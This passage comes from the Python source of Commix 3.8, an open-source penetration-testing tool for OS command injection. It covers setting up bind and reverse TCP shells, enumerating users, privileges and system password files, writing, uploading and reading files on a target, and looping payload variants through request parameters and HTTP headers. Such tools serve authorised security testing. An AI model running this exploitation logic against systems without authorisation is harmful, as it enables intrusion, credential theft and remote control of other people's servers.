err_msg += os_shell_option.split("_")[1].upper() + " connection has failed."
print(settings.print_critical_msg(err_msg))
"""
Configure the bind TCP shell
"""
def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):
settings.BIND_TCP = True
# Set up RHOST / LPORT for the bind TCP connection.
bind_tcp.configure_bind_tcp(separator)
if settings.BIND_TCP == False:
if settings.REVERSE_TCP == True:
os_shell_option = "reverse_tcp"
reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
return go_back, go_back_again
while True:
if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_bind_tcp_options(settings.RHOST)
else:
cmd = bind_tcp.bind_tcp_options(separator)
result = checks.check_bind_tcp_options(cmd)
if result != None:
if result == 0:
go_back_again = False
elif result == 1 or result == 2:
go_back_again = True
settings.BIND_TCP = False
elif result == 3:
settings.BIND_TCP = False
reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
return go_back, go_back_again
# execute bind TCP shell
execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)
"""
Configure the reverse TCP shell
"""
def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE):
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for the reverse TCP connection.
reverse_tcp.configure_reverse_tcp(separator)
if settings.REVERSE_TCP == False:
if settings.BIND_TCP == True:
os_shell_option = "bind_tcp"
bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
return go_back, go_back_again
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options(separator)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
go_back_again = False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
elif result == 3:
settings.REVERSE_TCP = False
bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
#reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again)
return go_back, go_back_again
# execute reverse TCP shell
execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE)
"""
Check commix shell options
"""
def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE):
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == "back" or os_shell_option == True or os_shell_option == False:
go_back = True
if os_shell_option == False:
go_back_again = True
return go_back, go_back_again
# The "os_shell" option
elif os_shell_option == "os_shell":
warn_msg = "You are into the '" + os_shell_option + "' mode."
print(settings.print_warning_msg(warn_msg))
return go_back, go_back_again
# The "bind_tcp" option
elif os_shell_option == "bind_tcp":
go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
return go_back, go_back_again
# The "reverse_tcp" option
elif os_shell_option == "reverse_tcp":
go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE)
return go_back, go_back_again
# The "quit" option
elif os_shell_option == "quit":
logs.print_logs_notification(filename, url)
raise SystemExit()
else:
return go_back, go_back_again
commix-3.8/src/core/injections/results_based/ 0000775 0000000 0000000 00000000000 14466364451 0021420 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/results_based/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0023535 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/results_based/techniques/ 0000775 0000000 0000000 00000000000 14466364451 0023570 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/results_based/techniques/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0025705 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/results_based/techniques/classic/ 0000775 0000000 0000000 00000000000 14466364451 0025211 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/results_based/techniques/classic/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0027326 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/results_based/techniques/classic/cb_enumeration.py 0000775 0000000 0000000 00000034005 14466364451 0030562 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import requests
from src.core.injections.results_based.techniques.classic import cb_injector
"""
The "classic" technique on result-based OS command injection.
"""
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
ps_version = cb_injector.injection_results(response, TAG, cmd)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if settings.TARGET_OS == settings.OS.WINDOWS:
if alter_shell:
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = cb_injector.injection_results(response, TAG, cmd)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_os:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = cb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = cb_injector.injection_results(response, TAG, cmd)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = cb_injector.injection_results(response, TAG, cmd)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1]
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.SYS_USERS
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
# cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
cmd = checks.add_new_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = cb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = cb_injector.injection_results(response, TAG, cmd)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
# Check if PowerShell is enabled.
if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS:
checks.ps_check()
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
checks.print_enumenation().ps_version_msg()
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
checks.print_enumenation().hostname_msg()
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
checks.print_enumenation().current_user_msg()
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
checks.print_enumenation().os_info_msg()
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.users:
checks.print_enumenation().print_users_msg()
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
checks.print_enumenation().print_passes_msg()
system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
# eof commix-3.8/src/core/injections/results_based/techniques/classic/cb_file_access.py 0000775 0000000 0000000 00000012747 14466364451 0030505 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.core.requests import requests
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.results_based.techniques.classic import cb_injector
"""
The "classic" technique on result-based OS command injection.
"""
"""
Write to a file on the target host.
"""
def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
else:
cmd = checks.write_content(content, dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd, dest_to_upload = checks.check_file_to_upload()
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_upload)
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
"""
def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd, file_to_read = checks.file_content_to_read()
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
if menu.options.file_write:
file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
if settings.TARGET_OS == settings.OS.WINDOWS:
check_option = "--file-upload"
checks.unavailable_option(check_option)
else:
file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.FILE_ACCESS_DONE = True
# eof commix-3.8/src/core/injections/results_based/techniques/classic/cb_handler.py 0000775 0000000 0000000 00000046635 14466364451 0027665 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import string
import random
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import html_parser as _html_parser
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.utils import session_handler
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.shells import reverse_tcp
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.controller import shell_options
from src.core.injections.results_based.techniques.classic import cb_injector
from src.core.injections.results_based.techniques.classic import cb_payloads
from src.core.injections.results_based.techniques.classic import cb_enumeration
from src.core.injections.results_based.techniques.classic import cb_file_access
try:
import html
unescape = html.unescape
except: # Python 2
unescape = _html_parser.HTMLParser().unescape
"""
The "classic" technique on result-based OS command injection.
"""
"""
The "classic" injection technique handler.
"""
def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique):
shell = False
counter = 1
vp_flag = True
no_result = True
is_encoded = False
export_injection_info = False
if not settings.LOAD_SESSION:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
try:
settings.CLASSIC_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = cb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = cb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if settings.VERBOSITY_LEVEL == 0:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = settings.FAIL_STATUS
else:
percent = ".. (" + str(float_percent) + "%)"
elif len(shell) != 0:
percent = settings.info_msg
else:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
print(settings.SINGLE_WHITESPACE)
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
